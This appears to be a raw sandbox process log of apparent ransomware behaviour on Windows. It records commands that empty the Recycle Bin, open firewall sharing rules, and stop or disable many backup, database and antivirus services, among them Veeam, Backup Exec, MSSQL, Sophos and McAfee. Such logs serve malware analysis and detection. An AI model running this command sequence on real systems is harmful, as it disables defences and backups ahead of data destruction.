C:\Windows\system32\cmd.exe"cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin2⤵PID:1200
-
-
C:\Windows\system32\sc.exe"sc.exe" config Dnscache start= auto2⤵PID:552
-
-
C:\Windows\system32\sc.exe"sc.exe" config FDResPub start= auto2⤵PID:368
-
-
C:\Windows\system32\sc.exe"sc.exe" config SQLTELEMETRY start= disabled2⤵PID:1000
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c rd /s /q D:\\$Recycle.bin2⤵PID:768
-
-
C:\Windows\system32\sc.exe"sc.exe" config SstpSvc start= disabled2⤵PID:1500
-
-
C:\Windows\system32\sc.exe"sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled2⤵PID:964
-
-
C:\Windows\system32\sc.exe"sc.exe" config SSDPSRV start= auto2⤵PID:1360
-
-
C:\Windows\system32\sc.exe"sc.exe" config upnphost start= auto2⤵PID:1952
-
-
C:\Windows\system32\netsh.exe"netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes2⤵PID:1280
-
-
C:\Windows\system32\sc.exe"sc.exe" config SQLWriter start= disabled2⤵PID:948
-
-
C:\Windows\system32\net.exe"net.exe" start Dnscache /y2⤵
- Suspicious use of WriteProcessMemory
PID:672 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start Dnscache /y3⤵PID:792
-
-
-
C:\Windows\system32\net.exe"net.exe" start FDResPub /y2⤵
- Suspicious use of WriteProcessMemory
PID:1492 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start FDResPub /y3⤵PID:1132
-
-
-
C:\Windows\system32\net.exe"net.exe" stop bedbg /y2⤵
- Suspicious use of WriteProcessMemory
PID:1516 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop bedbg /y3⤵PID:432
-
-
-
C:\Windows\system32\net.exe"net.exe" start SSDPSRV /y2⤵PID:336
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start SSDPSRV /y3⤵PID:2036
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MSSQL$SQL_2008 /y2⤵PID:1888
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL$SQL_2008 /y3⤵PID:1784
-
-
-
C:\Windows\system32\net.exe"net.exe" start upnphost /y2⤵PID:920
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start upnphost /y3⤵PID:1692
-
-
-
C:\Windows\system32\net.exe"net.exe" stop EhttpSrv /y2⤵PID:1596
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop EhttpSrv /y3⤵PID:1824
-
-
-
C:\Windows\system32\netsh.exe"netsh" advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes2⤵PID:1484
-
-
C:\Windows\system32\net.exe"net.exe" stop MMS /y2⤵PID:1440
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MMS /y3⤵PID:2040
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MSSQL$SQLEXPRESS /y2⤵PID:1748
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL$SQLEXPRESS /y3⤵PID:2044
-
-
-
C:\Windows\system32\net.exe"net.exe" stop ekrn /y2⤵PID:2032
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop ekrn /y3⤵PID:1712
-
-
-
C:\Windows\system32\net.exe"net.exe" stop mozyprobackup /y2⤵PID:1576
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop mozyprobackup /y3⤵PID:1164
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MSSQL$SYSTEM_BGC /y2⤵PID:1032
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL$SYSTEM_BGC /y3⤵PID:1292
-
-
-
C:\Windows\system32\net.exe"net.exe" stop EPSecurityService /y2⤵PID:1092
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop EPSecurityService /y3⤵PID:1140
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MSSQL$VEEAMSQL2008R2 /y2⤵PID:1792
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL$VEEAMSQL2008R2 /y3⤵PID:1820
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MSSQL$TPS /y2⤵PID:1880
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL$TPS /y3⤵PID:2024
-
-
-
C:\Windows\system32\net.exe"net.exe" stop EPUpdateService /y2⤵PID:440
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop EPUpdateService /y3⤵PID:2016
-
-
-
C:\Windows\system32\net.exe"net.exe" stop ntrtscan /y2⤵PID:1592
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop ntrtscan /y3⤵PID:292
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MSSQL$TPSAMA /y2⤵PID:1620
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL$TPSAMA /y3⤵PID:1232
-
-
-
C:\Windows\system32\net.exe"net.exe" stop EsgShKernel /y2⤵PID:2004
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop EsgShKernel /y3⤵PID:1052
-
-
-
C:\Windows\system32\net.exe"net.exe" stop PDVFSService /y2⤵PID:1008
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop PDVFSService /y3⤵PID:2016
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MSSQLFDLauncher$SQL_2008 /y2⤵PID:2008
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher$SQL_2008 /y3⤵PID:2036
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MSSQL$VEEAMSQL2008R2 /y2⤵PID:1340
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL$VEEAMSQL2008R2 /y3⤵PID:940
-
-
-
C:\Windows\system32\net.exe"net.exe" stop klnagent /y2⤵PID:872
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop klnagent /y3⤵PID:1232
-
-
-
C:\Windows\system32\net.exe"net.exe" stop VeeamCatalogSvc /y2⤵PID:1140
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamCatalogSvc /y3⤵PID:1096
-
-
-
C:\Windows\system32\net.exe"net.exe" stop ESHASRV /y2⤵PID:1820
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop ESHASRV /y3⤵PID:1756
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MSSQLFDLauncher$SYSTEM_BGC /y2⤵PID:2036
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher$SYSTEM_BGC /y3⤵PID:1812
-
-
-
C:\Windows\system32\net.exe"net.exe" stop SDRSVC /y2⤵PID:748
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SDRSVC /y3⤵PID:2012
-
-
-
C:\Windows\system32\net.exe"net.exe" stop macmnsvc /y2⤵PID:960
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop macmnsvc /y3⤵PID:2024
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MSSQL$VEEAMSQL2012 /y2⤵PID:1232
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL$VEEAMSQL2012 /y3⤵PID:432
-
-
-
C:\Windows\system32\net.exe"net.exe" stop FA_Scheduler /y2⤵PID:2040
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop FA_Scheduler /y3⤵PID:940
-
-
-
C:\Windows\system32\net.exe"net.exe" stop VeeamCloudSvc /y2⤵PID:1756
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamCloudSvc /y3⤵PID:792
-
-
-
C:\Windows\system32\net.exe"net.exe" stop SQLAgent$VEEAMSQL2008R2 /y2⤵PID:824
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLAgent$VEEAMSQL2008R2 /y3⤵PID:432
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MSSQLFDLauncher$TPS /y2⤵PID:1724
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher$TPS /y3⤵PID:292
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MSSQLFDLauncher$PROFXENGAGEMENT /y2⤵PID:1576
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher$PROFXENGAGEMENT /y3⤵PID:368
-
-
-
C:\Windows\system32\net.exe"net.exe" stop masvc /y2⤵PID:1592
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop masvc /y3⤵PID:2008
-
-
-
C:\Windows\system32\net.exe"net.exe" stop KAVFS /y2⤵PID:624
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop KAVFS /y3⤵PID:1440
-
-
-
C:\Windows\system32\net.exe"net.exe" stop VeeamDeploymentService /y2⤵PID:1000
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamDeploymentService /y3⤵PID:964
-
-
-
C:\Windows\system32\net.exe"net.exe" stop SQLWriter /y2⤵PID:440
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLWriter /y3⤵PID:1008
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MSSQLFDLauncher$TPSAMA /y2⤵PID:748
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher$TPSAMA /y3⤵PID:2024
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MSSQLFDLauncher$SBSMONITORING /y2⤵PID:1052
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher$SBSMONITORING /y3⤵PID:792
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MBAMService /y2⤵PID:940
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MBAMService /y3⤵PID:1580
-
-
-
C:\Windows\system32\net.exe"net.exe" stop KAVFSGT /y2⤵PID:1884
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop KAVFSGT /y3⤵PID:1756
-
-
-
C:\Windows\system32\net.exe"net.exe" stop VeeamDeploySvc /y2⤵PID:864
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamDeploySvc /y3⤵PID:1880
-
-
-
C:\Windows\system32\net.exe"net.exe" stop avpsus /y2⤵PID:1852
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop avpsus /y3⤵PID:1280
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MSSQLSERVER /y2⤵PID:960
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQLSERVER /y3⤵PID:1620
-
-
-
C:\Windows\system32\net.exe"net.exe" stop VeeamBackupSvc /y2⤵PID:768
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamBackupSvc /y3⤵PID:1888
-
-
-
C:\Windows\system32\net.exe"net.exe" stop McAfeeDLPAgentService /y2⤵PID:1952
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop McAfeeDLPAgentService /y3⤵PID:1500
-
-
-
C:\Windows\system32\net.exe"net.exe" stop mfewc /y2⤵PID:2032
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop mfewc /y3⤵PID:332
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MSSQLFDLauncher$SHAREPOINT /y2⤵PID:872
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQLFDLauncher$SHAREPOINT /y3⤵PID:944
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MBEndpointAgent /y2⤵PID:336
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MBEndpointAgent /y3⤵PID:792
-
-
-
C:\Windows\system32\net.exe"net.exe" stop VeeamEnterpriseManagerSvc /y2⤵PID:1756
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamEnterpriseManagerSvc /y3⤵PID:824
-
-
-
C:\Windows\system32\net.exe"net.exe" stop BMR Boot Service /y2⤵PID:292
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BMR Boot Service /y3⤵PID:1520
-
-
-
C:\Windows\system32\net.exe"net.exe" stop kavfsslp /y2⤵PID:2044
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop kavfsslp /y3⤵PID:1280
-
-
-
C:\Windows\system32\net.exe"net.exe" stop ccEvtMgr /y2⤵PID:1896
-
-
C:\Windows\system32\net.exe"net.exe" stop ccSetMgr /y2⤵PID:1516
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop ccSetMgr /y3⤵PID:2008
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop ReportServer$SQL_2008 /y4⤵PID:1388
-
-
-
-
C:\Windows\system32\net.exe"net.exe" stop NetBackup BMR MTFTP Service /y2⤵PID:1140
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y3⤵PID:2012
-
-
-
C:\Windows\system32\net.exe"net.exe" stop VeeamBrokerSvc /y2⤵PID:672
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamBrokerSvc /y3⤵PID:1200
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MSSQLServerADHelper /y2⤵PID:900
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQLServerADHelper /y3⤵PID:1096
-
-
-
C:\Windows\system32\net.exe"net.exe" stop SavRoam /y2⤵PID:892
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SavRoam /y3⤵PID:1824
-
-
-
C:\Windows\system32\net.exe"net.exe" stop mfefire /y2⤵PID:1004
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop mfefire /y3⤵PID:2040
-
-
-
C:\Windows\system32\net.exe"net.exe" stop DefWatch /y2⤵PID:2024
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop DefWatch /y3⤵PID:752
-
-
-
C:\Windows\system32\net.exe"net.exe" stop RTVscan /y2⤵PID:2020
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop RTVscan /y3⤵PID:1748
-
-
-
C:\Windows\system32\net.exe"net.exe" stop wbengine /y2⤵PID:1996
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop wbengine /y3⤵PID:1440
-
-
-
C:\Windows\system32\net.exe"net.exe" stop McAfeeEngineService /y2⤵PID:1292
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop McAfeeEngineService /y3⤵PID:1032
-
-
-
C:\Windows\system32\net.exe"net.exe" stop VSNAPVSS /y2⤵PID:2028
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VSNAPVSS /y3⤵PID:1724
-
-
-
C:\Windows\system32\net.exe"net.exe" stop VeeamHvIntegrationSvc /y2⤵PID:1620
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamHvIntegrationSvc /y3⤵PID:948
-
-
-
C:\Windows\system32\net.exe"net.exe" stop QBFCService /y2⤵PID:552
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop QBFCService /y3⤵PID:1096
-
-
-
C:\Windows\system32\net.exe"net.exe" stop ReportServer$SQL_2008 /y2⤵PID:2008
-
-
C:\Windows\system32\net.exe"net.exe" stop mfemms /y2⤵PID:1792
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop mfemms /y3⤵PID:368
-
-
-
C:\Windows\system32\net.exe"net.exe" stop VeeamTransportSvc /y2⤵PID:928
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamTransportSvc /y3⤵PID:1824
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MSSQLServerADHelper100 /y2⤵PID:824
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQLServerADHelper100 /y3⤵PID:1032
-
-
-
C:\Windows\system32\net.exe"net.exe" stop QBIDPService /y2⤵PID:1440
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop QBIDPService /y3⤵PID:1096
-
-
-
C:\Windows\system32\net.exe"net.exe" stop wbengine /y2⤵PID:332
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop wbengine /y3⤵PID:432
-
-
-
C:\Windows\system32\net.exe"net.exe" stop McAfeeFramework /y2⤵PID:944
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop McAfeeFramework /y3⤵PID:1408
-
-
-
C:\Windows\system32\net.exe"net.exe" stop VeeamDeploymentService /y2⤵PID:792
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamDeploymentService /y3⤵PID:752
-
-
-
C:\Windows\system32\net.exe"net.exe" stop Intuit.QuickBooks.FCS /y2⤵PID:1280
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y3⤵PID:600
-
-
-
C:\Windows\system32\net.exe"net.exe" stop RESvc /y2⤵PID:1032
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop RESvc /y3⤵PID:1824
-
-
-
C:\Windows\system32\net.exe"net.exe" stop VeeamMountSvc /y2⤵PID:1336
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamMountSvc /y3⤵PID:1384
-
-
-
C:\Windows\system32\net.exe"net.exe" stop QBCFMonitorService /y2⤵PID:1232
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop QBCFMonitorService /y3⤵PID:2036
-
-
-
C:\Windows\system32\net.exe"net.exe" stop VeeamNFSSvc /y2⤵PID:1200
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamNFSSvc /y3⤵PID:1888
-
-
-
C:\Windows\system32\net.exe"net.exe" stop mfevtp /y2⤵PID:2040
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop mfevtp /y3⤵PID:1748
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MSSQLServerOLAPService /y2⤵PID:1408
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQLServerOLAPService /y3⤵PID:1008
-
-
-
C:\Windows\system32\net.exe"net.exe" stop sms_site_sql_backup /y2⤵PID:1824
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop sms_site_sql_backup /y3⤵PID:1820
-
-
-
C:\Windows\system32\net.exe"net.exe" stop YooBackup /y2⤵PID:1812
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop YooBackup /y3⤵PID:2036
-
-
-
C:\Windows\system32\net.exe"net.exe" stop veeam /y2⤵PID:948
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop veeam /y3⤵PID:1384
-
-
-
C:\Windows\system32\net.exe"net.exe" stop McAfeeFrameworkMcAfeeFramework /y2⤵PID:1096
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop McAfeeFrameworkMcAfeeFramework /y3⤵PID:1500
-
-
-
C:\Windows\system32\net.exe"net.exe" stop PDVFSService /y2⤵PID:1520
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop PDVFSService /y3⤵PID:600
-
-
-
C:\Windows\system32\net.exe"net.exe" stop SQLAgent$BKUPEXEC /y2⤵PID:1600
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLAgent$BKUPEXEC /y3⤵PID:1384
-
-
-
C:\Windows\system32\net.exe"net.exe" stop YooIT /y2⤵PID:1724
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop YooIT /y3⤵PID:432
-
-
-
C:\Windows\system32\net.exe"net.exe" stop VeeamNFSSvc /y2⤵PID:1484
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamNFSSvc /y3⤵PID:600
-
-
-
C:\Windows\system32\net.exe"net.exe" stop BackupExecVSSProvider /y2⤵PID:1596
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecVSSProvider /y3⤵PID:2012
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MSSQL$SOPHOS /y2⤵PID:2036
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL$SOPHOS /y3⤵PID:1384
-
-
-
C:\Windows\system32\net.exe"net.exe" stop zhudongfangyu /y2⤵PID:1500
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop zhudongfangyu /y3⤵PID:1164
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MySQL57 /y2⤵PID:1360
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MySQL57 /y3⤵PID:1092
-
-
-
C:\Windows\system32\net.exe"net.exe" stop BackupExecAgentAccelerator /y2⤵PID:784
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecAgentAccelerator /y3⤵PID:912
-
-
-
C:\Windows\system32\net.exe"net.exe" stop SQLAgent$CITRIX_METAFRAME /y2⤵PID:2016
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLAgent$CITRIX_METAFRAME /y3⤵PID:1608
-
-
-
C:\Windows\system32\net.exe"net.exe" stop stc_raw_agent /y2⤵PID:600
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop stc_raw_agent /y3⤵PID:1384
-
-
-
C:\Windows\system32\net.exe"net.exe" stop McShield /y2⤵PID:1880
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop McShield /y3⤵PID:1648
-
-
-
C:\Windows\system32\net.exe"net.exe" stop BackupExecAgentBrowser /y2⤵PID:2004
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecAgentBrowser /y3⤵PID:1608
-
-
-
C:\Windows\system32\net.exe"net.exe" stop sacsvr /y2⤵PID:1008
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop sacsvr /y3⤵PID:1648
-
-
-
C:\Windows\system32\net.exe"net.exe" stop VeeamRESTSvc /y2⤵PID:752
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamRESTSvc /y3⤵PID:344
-
-
-
C:\Windows\system32\net.exe"net.exe" stop “Enterprise Client Service” /y2⤵PID:1748
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop “Enterprise Client Service” /y3⤵PID:1644
-
-
-
C:\Windows\system32\net.exe"net.exe" stop BackupExecDiveciMediaService /y2⤵PID:1092
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecDiveciMediaService /y3⤵PID:368
-
-
-
C:\Windows\system32\net.exe"net.exe" stop SQLAgent$CXDB /y2⤵PID:1648
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLAgent$CXDB /y3⤵PID:1608
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MySQL80 /y2⤵PID:432
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MySQL80 /y3⤵PID:1572
-
-
-
C:\Windows\system32\net.exe"net.exe" stop “SQL Backups /y2⤵PID:1612
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop “SQL Backups /y3⤵PID:1384
-
-
-
C:\Windows\system32\net.exe"net.exe" stop BackupExecJobEngine /y2⤵PID:964
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecJobEngine /y3⤵PID:2108
-
-
-
C:\Windows\system32\net.exe"net.exe" stop McTaskManager /y2⤵PID:2056
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop McTaskManager /y3⤵PID:2140
-
-
-
C:\Windows\system32\net.exe"net.exe" stop SAVAdminService /y2⤵PID:2076
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SAVAdminService /y3⤵PID:2116
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MsDtsServer100 /y2⤵PID:2124
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MsDtsServer100 /y3⤵PID:2228
-
-
-
C:\Windows\system32\net.exe"net.exe" stop BackupExecManagementService /y2⤵PID:2156
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecManagementService /y3⤵PID:2220
-
-
-
C:\Windows\system32\net.exe"net.exe" stop SQLAgent$ECWDB2 /y2⤵PID:2148
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLAgent$ECWDB2 /y3⤵PID:2212
-
-
-
C:\Windows\system32\net.exe"net.exe" stop VeeamTransportSvc /y2⤵PID:2192
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamTransportSvc /y3⤵PID:2236
-
-
-
C:\Windows\system32\net.exe"net.exe" stop BackupExecRPCService /y2⤵PID:2244
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecRPCService /y3⤵PID:2324
-
-
-
C:\Windows\system32\net.exe"net.exe" stop OracleClientCache80 /y2⤵PID:2284
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop OracleClientCache80 /y3⤵PID:2348
-
-
-
C:\Windows\system32\net.exe"net.exe" stop NetMsmqActivator /y2⤵PID:2276
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop NetMsmqActivator /y3⤵PID:2340
-
-
-
C:\Windows\system32\net.exe"net.exe" stop SAVService /y2⤵PID:2260
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SAVService /y3⤵PID:2332
-
-
-
C:\Windows\system32\net.exe"net.exe" stop AcrSch2Svc /y2⤵PID:2356
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AcrSch2Svc /y3⤵PID:2444
-
-
-
C:\Windows\system32\net.exe"net.exe" stop SQLAgent$PRACTTICEBGC /y2⤵PID:2364
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLAgent$PRACTTICEBGC /y3⤵PID:2436
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MSExchangeIS /y2⤵PID:2388
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeIS /y3⤵PID:2452
-
-
-
C:\Windows\system32\net.exe"net.exe" stop SQLAgent$SYSTEM_BGC /y2⤵PID:2372
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLAgent$SYSTEM_BGC /y3⤵PID:2460
-
-
-
C:\Windows\system32\net.exe"net.exe" stop SepMasterService /y2⤵PID:2468
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SepMasterService /y3⤵PID:2596
-
-
-
C:\Windows\system32\net.exe"net.exe" stop swi_filter /y2⤵PID:2476
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop swi_filter /y3⤵PID:2548
-
-
-
C:\Windows\system32\net.exe"net.exe" stop “Sophos AutoUpdate Service” /y2⤵PID:2508
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop “Sophos AutoUpdate Service” /y3⤵PID:2556
-
-
-
C:\Windows\system32\net.exe"net.exe" stop AcronisAgent /y2⤵PID:2500
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AcronisAgent /y3⤵PID:2564
-
-
-
C:\Windows\system32\net.exe"net.exe" stop SamSs /y2⤵PID:2580
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SamSs /y3⤵PID:2648
-
-
-
C:\Windows\system32\net.exe"net.exe" stop SQLAgent$TPS /y2⤵PID:2572
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLAgent$TPS /y3⤵PID:2632
-
-
-
C:\Windows\system32\net.exe"net.exe" stop CASAD2DWebSvc /y2⤵PID:2608
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop CASAD2DWebSvc /y3⤵PID:2708
-
-
-
C:\Windows\system32\net.exe"net.exe" stop SQLAgent$PRACTTICEMGT /y2⤵PID:2656
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLAgent$PRACTTICEMGT /y3⤵PID:2724
-
-
-
C:\Windows\system32\net.exe"net.exe" stop ReportServer /y2⤵PID:2688
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop ReportServer /y3⤵PID:2756
-
-
-
C:\Windows\system32\net.exe"net.exe" stop swi_service /y2⤵PID:2672
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop swi_service /y3⤵PID:2748
-
-
-
C:\Windows\system32\net.exe"net.exe" stop CAARCUpdateSvc /y2⤵PID:2732
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop CAARCUpdateSvc /y3⤵PID:2812
-
-
-
C:\Windows\system32\net.exe"net.exe" stop ShMonitor /y2⤵PID:2768
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop ShMonitor /y3⤵PID:2852
-
-
-
C:\Windows\system32\net.exe"net.exe" stop SQLAgent$TPSAMA /y2⤵PID:2776
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLAgent$TPSAMA /y3⤵PID:2860
-
-
-
C:\Windows\system32\net.exe"net.exe" stop “SQLsafe Backup Service” /y2⤵PID:2804
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop “SQLsafe Backup Service” /y3⤵PID:2868
-
-
-
C:\Windows\system32\net.exe"net.exe" stop sophos /y2⤵PID:2832
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop sophos /y3⤵PID:2928
-
-
-
C:\Windows\system32\net.exe"net.exe" stop “Acronis VSS Provider” /y2⤵PID:2952
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop “Acronis VSS Provider” /y3⤵PID:2992
-
-
-
C:\Windows\system32\net.exe"net.exe" stop SQLAgent$PROD /y2⤵PID:2904
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLAgent$PROD /y3⤵PID:2984
-
-
-
C:\Windows\system32\net.exe"net.exe" stop MsDtsServer110 /y2⤵PID:2896
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MsDtsServer110 /y3⤵PID:2976
-
-
-
C:\Windows\system32\net.exe"net.exe" stop SQLAgent$VEEAMSQL2008R2 /y2⤵PID:3000
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SQLAgent$VEEAMSQL2008R2 /y3⤵PID:3048
-
-
-
